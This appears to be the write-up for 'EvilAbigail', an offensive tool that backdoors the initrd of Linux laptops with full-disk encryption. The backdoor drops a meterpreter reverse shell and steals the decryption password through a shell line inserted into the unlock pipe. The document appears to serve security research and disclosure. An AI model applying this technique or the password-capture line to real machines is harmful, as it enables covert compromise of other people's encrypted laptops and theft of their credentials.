EvilAbigail: Automated Linux evil maid attack
EvilAbigail – Initrd encrypted root fs attack
Scenario
- Laptop left turned off with FDE turned on
- Attacker boots from USB/CD/Network
- Script executes and backdoors initrd
- User returns to laptop, boots as normal
- Backdoored initrd loads:
- (Debian/Ubuntu/Kali) .so file into /sbin/init on boot, dropping a shell
- (Fedora/CentOS) LD_PRELOAD .so into DefaultEnviroment, loaded globally, dropping a shell.
Supported Distros
- Ubuntu 14.04.3
- Debian 8.2.0
- Kali 2.0
- Fedora 23
- CentOS 7
Current Features
- python/meterpreter/reverse_https to compile time LHOST
- FDE decryption password stored in meterpreter environment (getenv PASSWORD)
Payload
The python/meterpreter/reverse_https Metasploit payload was chosen because it is more platform independent than the linux/*/meterpreter/reverse_tcp payloads. python seems to be installed by default on all the tested systems.
By default, the payload is generated at compile time and piped into the .c file as a #define. This makes iterations easier, but it shouldn’t be hard to save the payload and insert it manually.
Kali)
Debian based (Debian, Ubuntu,Dropping the shell
Debian based systems (Debian, Ubuntu etc) use a standard gzipped cpio image as the initramfs. This contains the default /init script which runs through preparing the system for the full boot. This includes asking the user for their password and mounting the encrypted root fs.
For dropping our .so, we wait until the root filesystem has been mounted (so after the user has been asked for their password) and copy our .so, to the /dev filesystem. The /dev filesystem was chosen as it is accessible just before the rootfs is switched and it is a ram based mount. This means that our .so won’t touch the disk.
To actually use the dropped .so, we then use the LD_PRELOAD environmental variable on the switch_root call. This variable is passed to all child executables and as such, the final /sbin/init script will have the module loaded. To keep this relatively quiet, we check if we are loaded into /sbin/init, and if so, we unset the LD_PRELOAD variable and delete the .so. This functionality can easily be disabled if we wanted to hook specific applications.
To force execution of the .so, by default after loading, we use the gcc flag -Wl,-init, shell, where the shell is our main function. This specifies which function we want to call on init of the .so. Think of this as an analog to Windows’ DllMain.
Password stealing
The part of the init script in charge of asking the user for their password and mounting the root filesystem is as follows:
The important part for us is where the output of $cryptkeyscript is piped into $cryptcreate. $cryptkeyscript is the password asker, and $cryptcreate is the disk mounter. This pipe makes it very easy for us to attack. We insert the following code where the pipe is to write out the password to the end of our .so:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
This will read the password into the variable $P, and both write it to the end of the .so and echo it out again. This code will be transparent for the purposes of $cryptkeyscript and $cryptcreate, but it will have the site effect of exfiltrating the password. We use \\\\\\\\x00 to prepend a null byte (accounting for many levels of shell escaping) to the password. This makes it much easier for our .so to read the password back, as it just needs to read backward from the end of itself until it sees a null byte.
To provide this password to the attacker, it is used as an environmental variable in the invocation of the payload. This means that the attacker can just use the meterpreter command getenv PASSWORD to retrieve the password.